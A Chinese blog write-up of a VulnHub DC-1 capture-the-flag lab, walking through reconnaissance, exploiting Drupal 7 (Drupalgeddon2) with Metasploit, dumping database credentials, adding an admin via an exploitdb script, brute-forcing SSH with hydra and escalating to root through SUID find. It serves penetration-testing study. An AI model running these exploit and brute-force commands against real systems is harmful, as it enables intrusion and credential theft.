vulnhub靶机DC-1渗透笔记

靶机环境搭建:

攻击渗透机: kali IP地址:192.168.75.128
靶机:DC-1 IP地址
下载地址:https://www.vulnhub.com/entry/dc-1,292/

渗透过程

1.信息收集

1.1 IP地址确认
netdiscover

vulnhub靶机DC-1渗透笔记_第1张图片
可以确认目标靶机IP地址为 192.168.75.141
还可以使用 arp-scan -l
vulnhub靶机DC-1渗透笔记_第2张图片
同样扫描出目标靶机IP地址

1.2 爆破端口信息

既然知道了靶机的IP地址,那就理所应当的扫描下端口啦
这里使用端口扫描神器 nmap来完成

nmap -T4 -sV -O -A -p 80,445,22,139 192.168.75.139
 -T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口)

vulnhub靶机DC-1渗透笔记_第3张图片
扫描到目标开启了22,80,111端口,且服务均为tcp服务等等信息
但是使用nmap进行扫描数度较慢,且很容易被发现,被拦截,因为使用的是靶机练习,所以无所谓了

还有一种扫描端口的工具

masscan 只能扫出开放端口而且速度快,但是存在漏扫,可以多扫几次
masscan --rate=100000 --ports 0-65535 IP
masscan --rate=每秒多少个数据包 -p/–ports 端口范围 IP地址/IP地址段

它的优点是扫描特别快速,且不容易被发现,但缺点也是致命的,它仅仅只能探测出目标开放的端口,有关端口的任何详细信息,无法扫描出

1.3 访问网页获取信息

目标开启了80(tcp)服务,那么我们就去访问一下,看有无可利用信息
vulnhub靶机DC-1渗透笔记_第4张图片
一个很简单的网页,但是存在输入框,疑似存在暴力破解,但是这里需要爆破两个点,而我们却没有任何有关账号密码的信息,爆破花费极大,需要一个极度强大的字典,并且需要耗费特别多的时间,果断放弃暴力破解

使用Firefox插件Wappalyzer查看到如下网页信息
三大PHP CMS网站:Drupal、 Wordpress、Joomla
vulnhub靶机DC-1渗透笔记_第5张图片
貌似没什么可利用信息了

1.4 爆破目录信息

爆破目录,当然得使用目录爆破神器 dirb

dirb http://192.168.75.141

vulnhub靶机DC-1渗透笔记_第6张图片
扫描到目标靶机robots.txt,访问查看
vulnhub靶机DC-1渗透笔记_第7张图片
查看UPGRADE.txt,了解靶机网站的版本信息

vulnhub靶机DC-1渗透笔记_第8张图片
知道了Drupal的版本为7.X后,就可以开始进行漏洞利用了,Drupal 7.X版本有远程代码执行漏洞
vulnhub靶机DC-1渗透笔记_第9张图片

2.漏洞利用

1.1 打开msf
msfconsole 打开MSF

vulnhub靶机DC-1渗透笔记_第10张图片

1.2 搜索drupal

在MSF中搜索,drupal

search drupal

vulnhub靶机DC-1渗透笔记_第11张图片

1.3 选择合适的攻击模块和设置参数

利用2018年的这个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

vulnhub靶机DC-1渗透笔记_第12张图片

show option 查看需要设置的参数

vulnhub靶机DC-1渗透笔记_第13张图片
设置RHOSTS为目标靶机IP地址

set RHOSTS 192.168.75.141

在这里插入图片描述
exploit,取得meterpreter,就表示成功
在这里插入图片描述

3.提权

ls可查看到有一个flag1.txt
vulnhub靶机DC-1渗透笔记_第14张图片
并不能直接查看到flag1.txt,但是提示我们查找、查看CMS配置文件
在这里插入图片描述
Drupal的配置文件是网站根目录下的/site/defaultx下的setting.php文件
vulnhub靶机DC-1渗透笔记_第15张图片
得到flag2,提示不要使用字典暴力破解密码,应该使用其他方法,通过数据库应该是一种方法。并且得到了数据库的账号密码
vulnhub靶机DC-1渗透笔记_第16张图片
vulnhub靶机DC-1渗透笔记_第17张图片
接下来,访问数据库
远程连接一下
vulnhub靶机DC-1渗透笔记_第18张图片
使用python升级为交互式窗口,这样看着更舒服一点

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
连接一下数据库(上面得到了账号和密码)

mysql -udbuser -pR0ck3t

vulnhub靶机DC-1渗透笔记_第19张图片

show databases; 查看数据库名

vulnhub靶机DC-1渗透笔记_第20张图片
可看到这里有两个库,直觉表示我们需要的信息就在drupaldb这个库里面

use drupaldb;          #使用drupaldb数据库
show tables;           #查看数据库内的表

vulnhub靶机DC-1渗透笔记_第21张图片
vulnhub靶机DC-1渗透笔记_第22张图片
有一个名字为user的表

select * from users;  select语句查询

vulnhub靶机DC-1渗透笔记_第23张图片
找到可用于登录的用户admin和密码密文

方法1:在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码

searchsploit drupal

vulnhub靶机DC-1渗透笔记_第24张图片
直接利用即可

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.75.141 -u admin2  -p  admin2

vulnhub靶机DC-1渗透笔记_第25张图片
vulnhub靶机DC-1渗透笔记_第26张图片
查看数据库中是否有admin2
vulnhub靶机DC-1渗透笔记_第27张图片

方法2:使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下,使用加密脚本加密新密码,生成加密密文

php scripts/password-hash.sh mima

在这里插入图片描述
进入数据库更新密码
vulnhub靶机DC-1渗透笔记_第28张图片
密码更新成功

使用浏览器登陆,拿到flag3
vulnhub靶机DC-1渗透笔记_第29张图片
vulnhub靶机DC-1渗透笔记_第30张图片
提示我们寻找password和shadow

cat /etc/passwd

vulnhub靶机DC-1渗透笔记_第31张图片
找到了flag4 这个用户,并且它有/bin/bash权限,所以可以用来提权
需要我们查看shadow文件,并使用find命令提权
使用find命令查找有特殊权限suid的命令

find / -perm -4000

vulnhub靶机DC-1渗透笔记_第32张图片
flag4用户密码可以使用ssh登录进行爆破

hydra -l flag4 -p /usr/share/john/password.lst 192.168.75.141 ssh -vV -f 

爆破密码为:flag4/orange
vulnhub靶机DC-1渗透笔记_第33张图片
ssh进行登录

ssh [email protected]

vulnhub靶机DC-1渗透笔记_第34张图片
发现flag4.txt
vulnhub靶机DC-1渗透笔记_第35张图片
进去之后,发现是“$”,而不是“#”,需要使用find命令提权为root
vulnhub靶机DC-1渗透笔记_第36张图片
在root的根目录下发现最终的flag文件,到这里5个flag全部找到!

4.总结

1.Linux权限管理部分还需要下去再学一下
2.find命令还有诸多不熟悉的地方
3.hydra工具命令语法不是特别熟练,并且急需一个足够强大的爆破字典
4.密码密文生成不熟悉

最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!

你可能感兴趣的:(靶机,学习,漏洞原理与分析,安全,ssh,linux)